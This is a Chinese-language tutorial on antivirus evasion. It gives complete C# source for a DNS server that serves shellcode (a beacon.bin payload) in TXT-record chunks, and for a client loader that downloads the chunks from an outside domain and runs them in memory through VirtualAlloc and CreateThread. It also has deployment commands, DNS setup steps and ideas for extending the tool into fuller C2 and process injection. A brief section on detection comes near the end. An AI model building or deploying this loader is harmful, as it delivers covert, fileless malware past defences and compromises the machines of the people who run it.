C#免杀之自实现DNS服务器传输shellcode
字数 1508 2025-08-10 08:28:40
C#免杀之自实现DNS服务器传输Shellcode技术详解
技术原理概述
本技术利用DNS协议作为隐蔽通道传输Shellcode,相比HTTP协议具有更好的隐蔽性。通过自建DNS服务器和客户端实现Shellcode的分片传输和内存加载执行,绕过传统安全检测机制。
系统设计
传输规范设计
- 长度查询:客户端首先查询Shellcode总长度,格式为
length.dns.test.local - 数据分片查询:客户端分片请求Shellcode数据,格式为
r.[已接收字节数].[请求字节数].dns.test.local - 响应格式:服务器使用DNS TXT记录返回数据,支持Base64编码的Shellcode分片
工作流程
- 服务器加载Shellcode二进制文件
- 客户端查询Shellcode总长度
- 客户端分片请求Shellcode数据
- 服务器返回对应分片的Base64编码数据
- 客户端组合所有分片并在内存中执行
代码实现详解
服务器端实现
using ARSoft.Tools.Net.Dns;
using System;
using System.IO;
using System.Linq;
using System.Net;
namespace SharpDNS
{
class Program
{
static Byte[] bytes; // 存储Shellcode的字节数组
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage: SharpDNS.exe beacon.bin");
return;
}
// 读取Shellcode文件
bytes = ReadBeacon(args[0]);
// 创建并启动DNS服务器
using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
{
server.Start();
Console.WriteLine("DNS Server Started.");
Console.ReadLine();
}
}
// 处理DNS查询的核心方法
static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress,
System.Net.Sockets.ProtocolType protocol)
{
message.IsQuery = false;
DnsMessage query = message as DnsMessage;
string domain = query.Questions[0].Name;
string[] sp = domain.Split('.');
string command = sp[0];
// 处理长度查询请求
if (command.Equals("length"))
{
Console.WriteLine("Received Length Query");
query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
message.ReturnCode = ReturnCode.NoError;
return message;
}
// 处理数据分片请求
if (command.Equals("r"))
{
Console.WriteLine(domain);
try
{
int hasReceive = int.Parse(sp[1]);
int requireReceive = int.Parse(sp[2]);
Console.WriteLine($"Received: {hasReceive}, Requested: {requireReceive}");
// 获取请求的数据分片
Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
string sendString = Convert.ToBase64String(sendByte);
Console.WriteLine(sendString);
// 添加TXT记录响应
query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
message.ReturnCode = ReturnCode.NoError;
return message;
}
message.ReturnCode = ReturnCode.Refused;
return message;
}
// 读取Shellcode文件
static Byte[] ReadBeacon(string path)
{
Byte[] b = File.ReadAllBytes(path);
Console.WriteLine($"Shellcode File Length: {b.Length}");
return b;
}
}
}
客户端实现
using ARSoft.Tools.Net.Dns;
using System;
using System.Collections.Generic;
using System.Net;
using System.Runtime.InteropServices;
namespace DnsLoader
{
class Program
{
static string dns; // DNS服务器地址
static void Main(string[] args)
{
// 参数检查
if (args.Length < 3)
{
Console.WriteLine("Usage: DnsLoader.exe [domain] [dns_server] [chunk_size]");
return;
}
string domain = args[0];
dns = args[1];
int chunkSize = int.Parse(args[2]);
// 查询Shellcode总长度
long len = QueryLength(domain);
if (len == 0)
{
Console.WriteLine("Failed to get shellcode length");
return;
}
List<byte> bytes = new List<byte>();
// 分片获取Shellcode
for (int i = 0; i < len; i += chunkSize)
{
int hasReceive = bytes.Count;
if (hasReceive >= len)
{
Console.WriteLine("Transfer completed");
break;
}
// 计算本次请求的字节数
int currentChunk = (int)Math.Min(chunkSize, len - hasReceive);
// 查询数据分片
string rev = ClientQuery($"r.{hasReceive}.{currentChunk}.{domain}");
if (rev == null)
{
Console.WriteLine("DNS query failed");
return;
}
// 解码并存储数据
byte[] b = Convert.FromBase64String(rev);
bytes.AddRange(b);
}
Console.WriteLine($"Total bytes received: {bytes.Count}");
// 执行Shellcode
if (bytes.Count > 0)
{
Inject(bytes.ToArray());
}
}
// 查询Shellcode总长度
public static long QueryLength(string domain)
{
long len = 0;
string l = ClientQuery("length." + domain);
bool success = Int64.TryParse(l, out len);
return success ? len : 0;
}
// 执行DNS查询
public static String ClientQuery(string domain)
{
List<IPAddress> dnss = new List<IPAddress>();
dnss.AddRange(Dns.GetHostAddresses(dns));
var dnsClient = new DnsClient(dnss, 60);
DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
if ((dnsMessage == null) ||
((dnsMessage.ReturnCode != ReturnCode.NoError) &&
(dnsMessage.ReturnCode != ReturnCode.NxDomain)))
{
Console.WriteLine("DNS request failed");
return null;
}
// 提取TXT记录数据
foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
{
TxtRecord txtRecord = dnsRecord as TxtRecord;
if (txtRecord != null)
{
return txtRecord.TextData.ToString();
}
}
return null;
}
// Shellcode注入方法
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size,
UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize,
UInt32 lpStartAddress, IntPtr param,
UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void Inject(Byte[] buffer)
{
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_EXECUTE_READWRITE = 0x40;
// 分配内存
UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 复制Shellcode到内存
Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
// 创建线程执行Shellcode
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0x0000;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
WaitForSingleObject(hThread, 0xffffffff);
}
}
}
部署与使用指南
服务器部署
- 编译服务器端程序
- 准备Shellcode二进制文件(beacon.bin)
- 运行服务器:
SharpDNS.exe beacon.bin
客户端使用
- 编译客户端程序
- 设置DNS解析记录,将测试域名指向服务器IP
- 运行客户端:
参数说明:DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000- 第一个参数:查询的域名基础
- 第二个参数:DNS服务器地址
- 第三个参数:每次请求的字节数(建议2000左右)
DNS记录配置
需要在DNS服务商处配置以下记录:
- 将测试域名(如dns.test.local)的NS记录指向自建DNS服务器
- 确保TXT记录查询能够到达自建DNS服务器
技术要点分析
-
隐蔽通道选择:
- DNS协议在企业环境中通常不受严格限制
- DNS查询行为看起来像正常的域名解析
- 使用TXT记录传输数据较为隐蔽
-
分片传输机制:
- 大文件分片传输,避免单次查询数据量过大
- 支持断点续传,通过已接收字节数控制
- Base64编码确保二进制数据可靠传输
-
内存加载技术:
- 使用VirtualAlloc分配可执行内存
- CreateThread创建新线程执行Shellcode
- 全程无文件落地,规避传统杀毒检测
-
免杀考量:
- 关键API调用(VirtualAlloc等)可能被行为检测
- 可结合其他技术如API混淆、间接调用等增强免杀
- 传输层与执行层分离,增加检测难度
进阶思考与改进方向
-
协议选择优化:
- 考虑使用ICMP、HTTPS等其他协议作为传输通道
- 实现多协议自动切换,增强隐蔽性和可靠性
-
Shellcode加载改进:
- 使用更隐蔽的内存分配方式(如HeapAlloc)
- 实现进程注入而非直接创建线程
- 添加Shellcode解密/解压缩层
-
传输协议增强:
- 添加传输加密层,防止中间人分析
- 实现心跳机制和重试逻辑
- 支持多DNS服务器负载均衡
-
C2功能扩展:
- 实现完整的命令与控制功能
- 添加文件上传/下载能力
- 支持多节点通信
防御检测建议
针对此类攻击,防御方可采取以下措施:
-
DNS流量监控:
- 检测异常的TXT记录查询模式
- 监控过长的DNS响应数据
- 分析非常规子域名结构
-
内存行为检测:
- 监控可疑的内存分配模式
- 检测直接的内存执行行为
- 分析线程创建与内存保护属性变化
-
终端行为分析:
- 检测连续的大量DNS查询
- 监控进程的异常网络行为
- 分析不匹配的进程网络活动
总结
本技术通过自建DNS服务器实现了Shellcode的隐蔽传输和内存加载,有效规避了传统基于文件特征的检测。关键在于DNS协议的选择、分片传输机制的设计以及内存执行技术的结合。开发者可在此基础上进一步优化隐蔽性和功能性,防御者也应关注非常规协议的异常使用模式。